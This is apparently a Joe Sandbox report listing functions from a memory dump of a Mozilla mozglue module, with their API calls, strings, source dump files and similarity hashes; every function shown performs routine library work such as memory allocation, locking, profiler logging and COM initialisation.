Function 6C4CEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C545104), ref: 6C4CEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4CEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4CEFEC
free.MOZGLUE(?), ref: 6C4CF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4CF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4CF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4CF065
moz_xmalloc.MOZGLUE ref: 6C4CF072

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 08398115a2719753b236a4628fda8095f99194d29bdc0eb9a41f8740584f8f0f
Instruction ID: aed4614f8cb0bf49466972a45fe6d6af8ab50779806cbc867b8f4e3e66ef52f1
Opcode Fuzzy Hash: 08398115a2719753b236a4628fda8095f99194d29bdc0eb9a41f8740584f8f0f
Instruction Fuzzy Hash: 1B41F4B5B002159FDB08CF68DC81DAE73A5AF85324B24422CE815DB7A4EB31E915C7E2

Function 6C53B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C53B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C53B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C53B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C53B5F4
__Init_thread_footer.LIBCMT ref: 6C53B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C53B61F
std::_Facet_Register.LIBCPMT ref: 6C53B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53B655

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 5c7e7f6040d01d0b6a51d4678d51ae8a0c8e869a6fbbfe96270864efad799a6e
Instruction ID: 47cd3baeb995316265fa50a77d615ed2a0218c02592f210c2014781d2a1f70b4
Opcode Fuzzy Hash: 5c7e7f6040d01d0b6a51d4678d51ae8a0c8e869a6fbbfe96270864efad799a6e
Instruction Fuzzy Hash: 7D31C471B00614CBCB00FB68CC589AEB7B5EF86328B164569D91697741EB30A806CBE5

Function 6C506590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C4FFA80: GetCurrentThreadId.KERNEL32 ref: 6C4FFA8D
Part of subcall function 6C4FFA80: AcquireSRWLockExclusive.KERNEL32(6C54F448), ref: 6C4FFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C506727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5067C8

Part of subcall function 6C514290: memcpy.VCRUNTIME140(?,?,6C522003,6C520AD9,?,6C520AD9,00000000,?,6C520AD9,?,00000004,?,6C521A62,?,6C522003,?), ref: 6C5142C4

Strings

data, xrefs: 6C506593
vTl, xrefs: 6C50696C

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vTl
API String ID: 511789754-3361086480
Opcode ID: 844940a15a622365cbdb8f850fe90b1a5f8eab9c5b21b810de877c762dcea401
Instruction ID: 06cbdf3d92c1f121d7ab82c4e42590cd6a52b9c2171f0a474fe3945da6b3104a
Opcode Fuzzy Hash: 844940a15a622365cbdb8f850fe90b1a5f8eab9c5b21b810de877c762dcea401
Instruction Fuzzy Hash: 91D17B75A083408BD724DF24DC55B9FB7E5AFC5308F10892DE989C7B91EB30A949CB92

Function 6C4FD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4CEB57,?,?,?,?,?,?,?,?,?), ref: 6C4FD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4CEB57,?), ref: 6C4FD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4CEB57,?), ref: 6C4FD673
free.MOZGLUE(?), ref: 6C4FD888

Strings

|Enabled, xrefs: 6C4FD81E
WLl, xrefs: 6C4FD5D9, 6C4FD63F

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WLl$|Enabled
API String ID: 4142949111-3222281269
Opcode ID: 60fdffd6e4882c2141a33e784fcb698432ea353e84377e90770f7db61d80ba52
Instruction ID: c681d940e92ee2ef5ec08376ad77b0042ab56ad4d46d423151e60bf1cfaea8e2
Opcode Fuzzy Hash: 60fdffd6e4882c2141a33e784fcb698432ea353e84377e90770f7db61d80ba52
Instruction Fuzzy Hash: 43A10870A003588FDB11DF69C890FAEBBF1AF89318F14815DD8A96B741D731A946CBA1

Function 6C4DB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C51CC83,?,?,?,?,?,?,?,?,?,6C51BCAE,?,?,6C50DC2C), ref: 6C4DB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C51CC83,?,?,?,?,?,?,?,?,?,6C51BCAE,?,?,6C50DC2C), ref: 6C4DB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C51CC83,?,?,?,?,?,?,?,?,?,6C51BCAE), ref: 6C4DB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C51CC83,?,?,?,?,?,?,?,?,?,6C51BCAE,?,?,6C50DC2C), ref: 6C4DB896

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 6d11fb33e1264e9a676c2f2d9ae679a4896a9ef6f910da02b4982f12dafb19dd
Instruction ID: 1f7bbe28d9d4c632ef3ae8a5a8ef81cc4d6218f101480a17fe23b81137d1fcdc
Opcode Fuzzy Hash: 6d11fb33e1264e9a676c2f2d9ae679a4896a9ef6f910da02b4982f12dafb19dd
Instruction Fuzzy Hash: 18516C357006008FCB15EF59C8A4E6AB7F5FF89319B5A859DE99A87351C731F802CB84

Function 6C511D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C511D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C511BE3,?,?,6C511D96,00000000), ref: 6C511D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C511BE3,?,?,6C511D96,00000000), ref: 6C511D4C
GetCurrentThreadId.KERNEL32 ref: 6C511DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C511DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C511DDA

Part of subcall function 6C511EF0: GetCurrentThreadId.KERNEL32 ref: 6C511F03
Part of subcall function 6C511EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C511DF2,00000000,00000000), ref: 6C511F0C
Part of subcall function 6C511EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C511F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C511DF4

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 41cc1f79361a203de254af325ce7c7ee6681320d586e3dab08359297b45ad586
Instruction ID: b787d7fbf2af96f10f10e10376c607ab208bbd87c26e0217db0222229b6564e0
Opcode Fuzzy Hash: 41cc1f79361a203de254af325ce7c7ee6681320d586e3dab08359297b45ad586
Instruction Fuzzy Hash: BA417B752007049FDB10EF29C888B5ABBF5FB89318F11846EE95A87B41DB71F814CB95

Function 6C5084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C50850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C50851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C50855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C50856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5085AC

Part of subcall function 6C507670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C50767F
Part of subcall function 6C507670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C507693
Part of subcall function 6C507670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5085B2

Part of subcall function 6C4E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4E5EDB
Part of subcall function 6C4E5E90: memset.VCRUNTIME140(ewRl,000000E5,?), ref: 6C4E5F27
Part of subcall function 6C4E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4E5FB2

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 1c932b1e7f8c195a8e0855a72fbbd892501740d1d66a6bedbe65f88e1ab7da46
Instruction ID: 52a2ce4d82a7bd56360f73adc677f6d8fb7ab1159c24d2a78964a3282db628dd
Opcode Fuzzy Hash: 1c932b1e7f8c195a8e0855a72fbbd892501740d1d66a6bedbe65f88e1ab7da46
Instruction Fuzzy Hash: C82148743016019BDB24DB28CC88E6AB7A5AF8430DF25482DE55BC3B42EB31F948CB56

Function 6C4D1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4D1699
VerSetConditionMask.NTDLL ref: 6C4D16CB
VerSetConditionMask.NTDLL ref: 6C4D16D7
VerSetConditionMask.NTDLL ref: 6C4D16DE
VerSetConditionMask.NTDLL ref: 6C4D16E5
VerSetConditionMask.NTDLL ref: 6C4D16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4D16F9

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 146705a052650c1556d52972fd2ef6b5fd09f71f4cd0543811c6c5a14a0118f1
Instruction ID: d87de7e2ba38a2db5308d11580ade8b6563f26f1c67a6d621ce6f5fe124139d4
Opcode Fuzzy Hash: 146705a052650c1556d52972fd2ef6b5fd09f71f4cd0543811c6c5a14a0118f1
Instruction Fuzzy Hash: 7121D5B07402086FEB11BA688C45FBFB3BCDFC6714F018528F6459B5C1D678AD54C6A5

Function 6C50F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4FCBE8: GetCurrentProcess.KERNEL32(?,6C4C31A7), ref: 6C4FCBF1
Part of subcall function 6C4FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4C31A7), ref: 6C4FCBFA

Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
Part of subcall function 6C509420: __Init_thread_footer.LIBCMT ref: 6C50949F

GetCurrentThreadId.KERNEL32 ref: 6C50F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C50F598), ref: 6C50F621

Part of subcall function 6C5094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5094EE
Part of subcall function 6C5094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C509508

GetCurrentThreadId.KERNEL32 ref: 6C50F637
AcquireSRWLockExclusive.KERNEL32(6C54F4B8,?,?,00000000,?,6C50F598), ref: 6C50F645
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8,?,?,00000000,?,6C50F598), ref: 6C50F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C50F62A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 94a57490cfe5bbb1065cca30eefa941354f97b9a31f732bb60a6902f7b4e3397
Instruction ID: bd0d140c84b86d4543ad0de97354a15ffcd657d70c1d41aaf4001bcd4e6415d8
Opcode Fuzzy Hash: 94a57490cfe5bbb1065cca30eefa941354f97b9a31f732bb60a6902f7b4e3397
Instruction Fuzzy Hash: 0A119175301604ABCA04BF59DD48DA9B779FBC636CF514115EA05C7F01CB72AC25CBA8

Function 6C4D2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4FAB89: EnterCriticalSection.KERNEL32(6C54E370,?,?,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB94
Part of subcall function 6C4FAB89: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FABD1

LoadLibraryW.KERNEL32(combase.dll,6C4D1C5F), ref: 6C4D20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4D20CD
__Init_thread_footer.LIBCMT ref: 6C4D20E1
FreeLibrary.KERNEL32 ref: 6C4D2124

Strings

CoInitializeSecurity, xrefs: 6C4D20C7
combase.dll, xrefs: 6C4D20A9

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 4575c47bba68d62239885f294814ac86ac55df6d1994d94e0272fb99120efbb1
Instruction ID: 3f62e060438adc850d76b9ab86dbc1178a756612badc19ac49afebf407cad563
Opcode Fuzzy Hash: 4575c47bba68d62239885f294814ac86ac55df6d1994d94e0272fb99120efbb1
Instruction Fuzzy Hash: 2F216D76200209AFDF11EF59DC58ECA3B76FB4A319F128114FA1492611D731A862DFA5

Function 6C5276C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C527705

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C527717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C52778F,00000000,00000000,00000000,00000000), ref: 6C527731
free.MOZGLUE(00000000), ref: 6C527760

Strings

}>Pl, xrefs: 6C5276C4

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Pl
API String ID: 2538299546-1750802400
Opcode ID: 95ca795c6c595b5f4554625c72faa651ea1f7247b4a5a513bb8c5265b8f81853
Instruction ID: b4b19e0a4c311405bffabfe6276d68b88a71da124436876c7c7ba3e7411f77a7
Opcode Fuzzy Hash: 95ca795c6c595b5f4554625c72faa651ea1f7247b4a5a513bb8c5265b8f81853
Instruction Fuzzy Hash: C31193B19012256BDB10AF65DC44B6B7EF8EF45354F044529F88897340E774984087E2

Function 6C4D1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4FAB89: EnterCriticalSection.KERNEL32(6C54E370,?,?,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB94
Part of subcall function 6C4FAB89: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4D1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4D1FFD
__Init_thread_footer.LIBCMT ref: 6C4D2011
FreeLibrary.KERNEL32 ref: 6C4D2059

Strings

CoCreateInstance, xrefs: 6C4D1FF7
combase.dll, xrefs: 6C4D1FD9

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 2c2f1a787647bc849da00a2b336ba7860becea791c9f8d8b3f347c66174c9684
Instruction ID: 845b315042c81912239925d68e439c65305bdd6584dd06f9ef935133e4c6e29d
Opcode Fuzzy Hash: 2c2f1a787647bc849da00a2b336ba7860becea791c9f8d8b3f347c66174c9684
Instruction Fuzzy Hash: 44117F75200205AFDF21FF19CC5CE9B3B79EB8635EF02C219EA1492741DB31A811DBA5

Function 6C4D0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4FAB89: EnterCriticalSection.KERNEL32(6C54E370,?,?,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB94
Part of subcall function 6C4FAB89: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C4FD9F0,00000000), ref: 6C4D0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4D0F3C
__Init_thread_footer.LIBCMT ref: 6C4D0F50
FreeLibrary.KERNEL32(?,6C4FD9F0,00000000), ref: 6C4D0F86

Strings

combase.dll, xrefs: 6C4D0F18
CoInitializeEx, xrefs: 6C4D0F36

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 0a1288aaea85f6069c049cf17c8673bdab82005eb694588ffbf867c34e4eb66a
Instruction ID: 317f62715e5e06b0d37166cca9e641687568d8e65a0b02bbfe2ab8adce58fbaa
Opcode Fuzzy Hash: 0a1288aaea85f6069c049cf17c8673bdab82005eb694588ffbf867c34e4eb66a
Instruction Fuzzy Hash: DC118C742052409BDF04FF58CD18E8E3774EB8A32AF538329E90593742D770A405CE5A

Function 6C50F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
Part of subcall function 6C509420: __Init_thread_footer.LIBCMT ref: 6C50949F

GetCurrentThreadId.KERNEL32 ref: 6C50F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F561

Part of subcall function 6C5094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5094EE
Part of subcall function 6C5094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C509508

GetCurrentThreadId.KERNEL32 ref: 6C50F577
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F585
